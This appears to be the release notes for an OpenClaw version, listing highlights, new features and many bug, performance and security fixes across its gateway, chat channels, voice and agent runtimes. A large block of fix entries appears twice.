• Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (#82947) Thanks @SebTardif.

• Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (#80059) Thanks @pavelzak.

• Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (#85934) Thanks @SebTardif.

• Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (#86046) Thanks @SebTardif.

• Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct discord.com connections before opening the WebSocket. Fixes #80227. Thanks @Clivilwalker.

• Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (#84812) Thanks @marchpure.

• Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (#86501) Thanks @tianxiaochannel-oss88.

• Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (#86529) Thanks @ai-hpc.

• Gateway: emit plugin session_end/session_start hooks when agent.send rotates or replaces a session id, keeping hook lifecycle state aligned with sessions.changed notifications. Fixes #83507. (#85875) Thanks @brokemac79.

• OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes #72373. Thanks @brokemac79.

• Google: stop normalizing gemini-3.1-flash-lite to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes #86151. (#86240) Thanks @SebTardif.

• Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try nodejs-current, and report Alpine version guidance when repositories only provide older Node packages.

• Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes #80184. (#86570) Thanks @brokemac79.

• Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (#85489) Thanks @fuller-stack-dev.

• Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (#70473) Thanks @fuller-stack-dev.

• Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (#85542) Thanks @fuller-stack-dev.

• Agents/Codex: allow Codex app-server runs to bootstrap from CODEX_API_KEY or OPENAI_API_KEY when no Codex auth profile is configured.

• Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (#86408) Thanks @funmerlin and @VACInc.

• Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.

• Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute time paths so RSS probes can run Node and pnpm on fresh macOS runners.

• Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.

• TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.

• Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale sessions.json.*.tmp sidecars. Fixes #56827. Thanks @openperf.

• Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.

• Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.

• Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.

• Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes #86518. (#86533) Thanks @liaoyl830.

• Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.

• Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.

• Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run ENOENT failures. Fixes #82928. Thanks @galiniliev.

• Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (#86487) Thanks @neeravmakwana.

• Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.

• Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.

• Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.

• Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (#86177) Thanks @TurboTheTurtle.

• Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.

• Kilo Gateway: send string stop sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (#86461) Thanks @SebTardif.

• Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.

• Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (#86037)

• Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind SessionWriteLockTimeoutError. Fixes #86014. Thanks @openperf.

• Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.

• Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (#86327) Thanks @abnershang.

• Agents/media: derive bundled plugin local-media trust from plugin tool metadata instead of importing the full plugin registry on subscription paths. (#84409) Thanks @samzong.

• Image tool: keep config-backed custom-provider API keys usable for auto-discovered vision models, including deferred image-tool execution without env keys or auth profiles. (#85733)

• Memory/local embeddings: run local GGUF embeddings in an isolated worker sidecar and degrade to configured fallback or keyword search on worker failure so native embedding crashes do not take down the Gateway. (#85348) Thanks @osolmaz.

• Gateway: clear the runtime config snapshot before SIGUSR1 in-process restarts so config changes survive the next gateway loop. (#86388) Thanks @XuZehan-iCenter.

• Models: show OAuth delegation markers as configured models.json auth while keeping runtime route usability checks strict. (#86378) Thanks @rohitjavvadi.

• Cron: seed active scheduled and manual cron task rows with a progress summary so status surfaces do not look blank while jobs run. (#86313) Thanks @ferminquant.

• Cron: preserve unsupported persisted cron payload rows during routine store writes while keeping those rows non-runnable. Fixes #84922. (#86415) Thanks @IWhatsskill.

• Updater: exclude prerelease git tags from stable channel resolution so source updates do not check out newer alpha/rc/preview/canary tags. (#86260) Thanks @stevenepalmer.

• Security/Audit: flag webhook hooks.token reuse of active Gateway password auth in openclaw security audit while keeping password-mode startup compatibility. (#84338) Thanks @coygeek.

• QQBot: derive the outbound reply watchdog from configured agent and provider timeouts so slow local model replies are not cut off at five minutes. Fixes #85267. (#85271) Thanks @SymbolStar.

• Agents/heartbeat: stop heartbeat turns after the first valid heartbeat_respond so repeated response loops do not burn tokens. (#86357) Thanks @udaymanish6.

• Tasks: keep retained lost tasks out of default status health counts, explain their cleanup window during maintenance, and prune lost task records after 24 hours instead of the general 7-day terminal retention.

• Memory-core: keep REM dreaming focused on live light-staged memories and mark staged entries as considered so old recall history no longer dominates fresh candidates. (#86302) Thanks @SebTardif.

• Memory: abort sync instead of downgrading an existing semantic vector index to FTS-only when the configured embedding provider is temporarily unavailable. (#85704) Thanks @yaaboo-gif.

• Telegram: propagate forum topic names through the account-scoped topic cache for native command context and topic create/edit actions. (#86299) Thanks @SebTardif.

• Slack: keep downloaded read-only files out of reply media so Slack file reads do not echo files back to the conversation. (#86318) Thanks @neeravmakwana.

• Cron: accept leading-plus relative durations such as +5m for one-shot --at schedules. (#86341) Thanks @mushuiyu886.

• Agents/media: preserve async-started media tool metadata so background generation starts no longer surface generic incomplete-turn warnings while replay stays unsafe. (#85933) Thanks @fuller-stack-dev.

• Docker E2E: dedupe scheduler lane resources so npm/service package lanes are not over-counted and serialized unnecessarily.

• QA/diagnostics: add a collector-backed OpenTelemetry smoke lane, make the OTLP payload leak check scenario-aware, and keep source QA builds from failing on optional dependency imports resolved through pnpm's temp module path.

• Crabbox: bootstrap Git metadata for sparse remote changed gates so raw synced workspaces can run pnpm check:changed from the intended diff.

• xAI/LM Studio: avoid buffering ordinary bracketed or final prose until stream completion while watching for plain-text tool-call fallbacks.

• Doctor: warn and continue when the cron job store exists but cannot be read so later health checks still run. Fixes #86102. (#86384) Thanks @1052326311.

• Discord: suppress a bot's previous reply body and referenced media from prompt context when a user replies to that bot message, while keeping reply metadata for routing. (#86238) Thanks @fuller-stack-dev.

• Discord: restore bare numeric channel IDs for outbound message-tool sends while keeping explicit DM targets unambiguous. (#86571) Thanks @joshavant.

• Docker E2E: avoid rebuilding the Control UI twice while preparing the shared OpenClaw package tarball for package-backed scenario runs.

• Tests: avoid rebuilding the Control UI twice during the installer Docker smoke now that pnpm build includes ui:build.

• Tests: give QA config mutation RPCs enough native Windows budget to finish gateway config writes and restart settle after hot scenario runs.

• Tests: keep the gateway restart-inflight QA scenario focused on restart recovery on native Windows by allowing expected embedded prompt handoff errors and using the Windows-safe timeout budget.

• QA-Lab: make the synthetic OpenAI provider honor generic reply exactly: directives after required kickoff reads so restart-recovery scenarios do not fall through to generic repo-summary prose.

• Gateway: abort active agent RPC runs during forced restart shutdown so stale in-process turns cannot keep writing a session after the Gateway lifecycle restarts.

• Crabbox: sync clean sparse worktrees through a temporary full checkout even when reusing an existing lease so tracked build-time files are not omitted.

• Build: route scripts/ui.js through the shared pnpm runner and keep Control UI chunking helpers in sparse-included source so native Windows Corepack builds can produce dist/control-ui.

• Tests: give the memory fallback QA scenario enough turn budget to exercise native Windows gateway runs instead of failing on the client timeout while the mock agent is still dispatching.

• Tests: collect QA gateway CPU/RSS metrics on native Windows and give the channel baseline enough turn budget to report slow gateway runs instead of timing out before proof.

• Install/update: bypass npm min-release-age policies with --min-release-age=0 instead of --before so hosted installers keep working on npm versions that reject the combined config. (#84749) Thanks @TeodoroRodrigo.

• Diagnostics: reclaim wedged session lanes when stale active-run bookkeeping blocks queued work despite no forward progress. Fixes #85639. Thanks @openperf.

• WebChat: keep message-tool replies visible in the chat while still summarizing internal tool results for the model. Fixes #86347. Thanks @shakkernerd.

• Gateway/perf: fail startup benchmark samples when the Gateway process exits before benchmark teardown, including signal deaths after readiness probes.

• Gateway/perf: fail restart benchmark samples when the Gateway exits before benchmark teardown, including clean exits and signal deaths after successful restart probes.

• Agents/tests: keep model catalog visibility on static selection helpers so catalog visibility checks avoid the broad model-selection barrel import.

• Agents/commitments: serialize commitment store load-modify-save writes so concurrent heartbeat and CLI updates no longer lose dismissal, sent, or attempt state. (#81153) Thanks @ai-hpc.

• xAI/LM Studio: promote plain-text tool-call fallbacks into structured tool calls and strip leaked internal tool syntax before user-facing delivery. (#86222) Thanks @fuller-stack-dev.

• CLI: suppress benign self-update version-skew warnings during package post-update finalization.

• Gateway/perf: tighten restart and startup benchmark failure handling so long profiling runs, failed probes, and fresh Linux runners no longer produce false passing or n/a results.

• Checks: keep intentional Knip unused-file findings optional so full CI and sparse proof workspaces stay aligned.

• Docker: restore writable ~/.config in runtime images. Fixes #85968. Thanks @hkoessler and @Bartok9.

• Plugin SDK: keep legacy root diagnostic subscriptions connected when built plugin SDK aliases resolve diagnostic helpers through a separate module graph.

• Diagnostics: export alertable OTel and Prometheus signals for blocked tools, model failover, stale sessions, liveness warnings, oversized payloads, and webhook ingress while fixing shared OTLP endpoints with query strings.

• Tests: normalize macOS canonical temp paths in exec allowlists, fs-safe trash assertions, installed plugin matching, Telegram topic-name stores, and built ACPX MCP server expectations so native macOS proof runners cover the intended behavior.

• Codex/app-server: preserve message-tool-only source reply delivery mode on active runs so sub-agent completion wakeups can steer the active Codex turn instead of being rejected. (#86287) Thanks @ferminquant.

• Tests: sample the Windows kitchen-sink RPC gateway directly and serialize RSS probes so native runs keep the memory guard active.

• Tests: normalize bundled plugin lifecycle probe paths and state-root lookup so native Windows release sweeps accept valid packaged plugin installs.

• Agents/Claude CLI: route live native Bash permission requests through OpenClaw exec policy so Claude turns no longer stall on control_request, and document that OpenClaw exec policy is authoritative. Fixes #80819. (#86330, from #81971) Thanks @guthirry and @sallyom.

• Security audit: warn when YOLO OpenClaw exec policy overrides a restrictive raw Claude --permission-mode for managed live sessions. (#86557) Thanks @sallyom.

• Config: keep benign legacy metadata write anomalies out of default doctor and config command output while preserving explicit anomaly logging for diagnostics.

• Codex: log when implicit app-server never approvals are promoted for OpenClaw tool policy, including whether the trigger was a before_tool_call hook or trusted tool policy.

• Codex harness: make subscription usage-limit errors without reset times explain that OpenClaw cannot determine the reset and point users to wait until Codex is available, use another Codex account, or switch to another configured model/provider. Thanks @amknight.

• Google Vertex: support production ADC modes such as Workload Identity Federation, service-account credentials, and metadata-server ADC for the native Vertex transport. (#83971) Thanks @damianFelixPago.

• Telegram: route normal [telegram][diag] polling diagnostics through runtime.log while keeping non-diag warnings and persistence failures on runtime.error, so healthy polling startup no longer looks like an error. Fixes #82957. (#82958) Thanks @galiniliev.

• Providers/Ollama: strip inline Kimi cloud reasoning prefixes from streamed and final visible replies while keeping ordinary Kimi answers append-only. (#86286) Thanks @jason-allen-oneal.

• Gateway: require Talk secret authority before setup-code handoff can include Talk secrets. (#85690) Thanks @ngutman.

• Agents: keep fallback error reporting scoped to the active model candidate so stale prior-provider quota/auth text is not reported for later fallback attempts. (#86134) Thanks @zhangguiping-xydt.

• iMessage: dedupe watcher startup when channels.imessage.accounts lists both default and a named account that point at the same local Messages source, so the gateway no longer spawns two imsg rpc processes or doubles inbound replies; the dedupe is scoped to watcher startup, leaving duplicate accounts addressable for outbound sends, status, and capability listings, and openclaw doctor flags the redundant account with a rebinding hint. Fixes #65141. (#86705) Thanks @swang430.

Highlights

• Faster replies and startup: visible reply delivery now separates user-facing sends from slower follow-up work, command/model/plugin metadata is reused on hot paths, and Gateway startup avoids repeated plugin, channel, session, usage-cost, and filesystem scans.
• Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.
• More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage get reaction approvals.
• Safer agents: Codex app-server auth, compaction, source replies, sandbox path handling, and usage-limit recovery are more robust; OpenAI-compatible providers avoid empty-tool and malformed payload failures.
• More reliable replay and installs: legacy tool results, subagent spawn payloads, stale lock ownership, Windows stack-heavy startup, macOS restart validation, and Docker package preparation all fail less surprisingly.
• Better install/update/release confidence: Alpine installs, stable update channels, Docker/package timeouts, Windows/macOS proof lanes, Testbox/Crabbox delegation, and plugin publish checks all got hardened.
• New observability: Activity tab, gateway secret-prep traces, tool/model stream progress, OpenTelemetry LLM spans, release performance evidence, and richer missing telemetry signals make failures easier to inspect.

Changes

• Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs and CLI surface.
• Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (#85667) Thanks @fuller-stack-dev.
• Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (#83019, #80370, #86191)
• Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual /approve commands. (#85894, #85952, #85477)
• Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (#84094)
• Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (#86798, #86355) Thanks @ngutman.
• Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (#84649, #85843, #86517, #86678)
• Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.
• Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.
• Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.
• Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.
• Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.
• Cron: default cron.maxConcurrentRuns to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.
• QA-Lab: add qa coverage --match <query> so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.
• Discord/model picker: surface an alpha-bucket select (e.g. A–G (12) · H–N (18) · O–Z (5)) when the provider list or a provider's model list exceeds 25 items, so configs with provider/* wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.
• Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes #12831. Thanks @BunsDev.
• Build: include ui:build in the full and ciArtifacts profiles of scripts/build-all.mjs so pnpm build always rebuilds dist/control-ui after tsdown cleans dist, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (#85206)
• iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (#86355) Thanks @ngutman.
• Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (#86437)

Fixes

• Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (#86989, #86990, #86991, #86992, #86993, #86994) Thanks @keshavbotagent.

• Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.

• Agents/replay: repair legacy tool results before replay, preserve sessions_spawn transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (#82203, #86934, #87025) Thanks @martingarramon, @vincentkoc, and @joshavant.

• Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (#86677, #86476) Thanks @TurboTheTurtle and @pashpashpash.

• Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (#87030, #86818, #86559) Thanks @joshavant, @luoyanglang, and @stevenepalmer.

• CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (#87031, #85387) Thanks @giodl73-repo and @vincentkoc.

• Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (#86814, #86964) Thanks @Alix-007 and @vincentkoc.

• Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.

• Telegram/network: treat ENETDOWN as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (#86762) Thanks @TurboTheTurtle.

• Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (#83873, #85361, #85555, #85656, #85709, #86299, #86553) Thanks @SebTardif, @luoyanglang, and @neeravmakwana.

• iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (#82642, #85475, #86569, #86705, #86706, #86770) Thanks @homer-byte, @TurboTheTurtle, @swang430, and @omarshahine.

• WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect OPENCLAW_HOME, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (#83833, #85309, #85777, #85794, #85906, #86318, #86697) Thanks @sliverp, @neeravmakwana, and @Kailigithub.

• Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (#80227, #86238, #86487, #86571, #86595, #86601)

• Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (#85378, #85542, #85891, #85909, #86408)

• Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (#70473, #85764, #86014, #86134, #86427, #86944) Thanks @openperf, @fuller-stack-dev, @zhangguiping-xydt, and @ferminquant.

• Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (#85739, #85787, #86060, #86260, #86384, #86533) Thanks @liaoyl830.

• Install/release: support Alpine CLI installs and runtime floors, avoid npm min-release-age installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, and make release/plugin prerelease checks fail closed instead of hanging or false-greening. (#85491)

• Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (#85849, #85934, #86046, #86557)

• Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (#85776, #86037, #86437, #86857, #86923)

• Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (#80613, #82928, #85060, #85704, #85967, #86701) Thanks @brokemac79, @openperf, and @yaaboo-gif.

• Agents/sessions: include visibility metadata on restricted sessions_list results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (#86944) Thanks @ferminquant.

• Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid discovery.wideArea.domain and dns setup --domain values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks @mmaps.

• Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (#86312) Thanks @neeravmakwana.

• Telegram: treat /command@TargetBot bot-command entities as explicit mentions for the addressed bot so requireMention groups no longer drop targeted commands or captions. Fixes #84462. (#86553) Thanks @luoyanglang.

• CI: bound Docker/Bash E2E tarball npm installs with OPENCLAW_E2E_NPM_INSTALL_TIMEOUT so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.

• CI: keep OPENCLAW_TESTBOX=1 pnpm check:changed delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.

• CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged git fetch.

• CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped openclaw child processes cannot wedge the scheduled install smoke.

• iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under ~/Library/Messages/Attachments (including the wildcard /Users/*/Library/Messages/Attachments root) are read through the existing inbound path policy instead of being rejected as path-not-allowed. Literal localRoots stays workspace-scoped. Fixes #30170. (#86569)

• QQ Bot: respect OPENCLAW_HOME for outbound media path resolution so <qqmedia> sends no longer silently fail when HOME and OPENCLAW_HOME differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes #83562. Thanks @sliverp.

• Update: report the primary malformed openclaw.extensions payload error without adding a duplicate missing-main diagnostic. (#86596) Thanks @ferminquant.

• Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (#86620) Thanks @BryanTegomoh.

• Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (#86575) Thanks @ferminquant.

• IRC: store inbound channel routes with the canonical channel:#name target and join transient channel sends before writing. (#85906) Thanks @Kailigithub.

• Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident $0 total. (#85882) Thanks @MichaelZelbel.

• Agents/Codex: honor yolo app-server approval policy only for the full never plus danger-full-access case. (#85909) Thanks @earlvanze.

• Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (#82947) Thanks @SebTardif.

• Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (#80059) Thanks @pavelzak.

• Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (#85934) Thanks @SebTardif.

• Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (#86046) Thanks @SebTardif.

• Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct discord.com connections before opening the WebSocket. Fixes #80227. Thanks @Clivilwalker.

• Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (#84812) Thanks @marchpure.

• Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (#86501) Thanks @tianxiaochannel-oss88.

• Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (#86529) Thanks @ai-hpc.

• Gateway: emit plugin session_end/session_start hooks when agent.send rotates or replaces a session id, keeping hook lifecycle state aligned with sessions.changed notifications. Fixes #83507. (#85875) Thanks @brokemac79.

• OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes #72373. Thanks @brokemac79.

• Google: stop normalizing gemini-3.1-flash-lite to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes #86151. (#86240) Thanks @SebTardif.

• Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try nodejs-current, and report Alpine version guidance when repositories only provide older Node packages.

• Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes #80184. (#86570) Thanks @brokemac79.

• Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (#85489) Thanks @fuller-stack-dev.

• Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (#70473) Thanks @fuller-stack-dev.

• Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (#85542) Thanks @fuller-stack-dev.

• Agents/Codex: allow Codex app-server runs to bootstrap from CODEX_API_KEY or OPENAI_API_KEY when no Codex auth profile is configured.

• Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (#86408) Thanks @funmerlin and @VACInc.

• Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.

• Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute time paths so RSS probes can run Node and pnpm on fresh macOS runners.

• Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.

• TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.

• Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale sessions.json.*.tmp sidecars. Fixes #56827. Thanks @openperf.

• Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.

• Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.

• Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.

• Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes #86518. (#86533) Thanks @liaoyl830.

• Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.

• Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.

• Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run ENOENT failures. Fixes #82928. Thanks @galiniliev.

• Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (#86487) Thanks @neeravmakwana.

• Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.

• Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.

• Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.

• Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (#86177) Thanks @TurboTheTurtle.

• Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.

• Kilo Gateway: send string stop sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (#86461) Thanks @SebTardif.

• Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.

• Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (#86037)

• Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind SessionWriteLockTimeoutError. Fixes #86014. Thanks @openperf.

• Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.

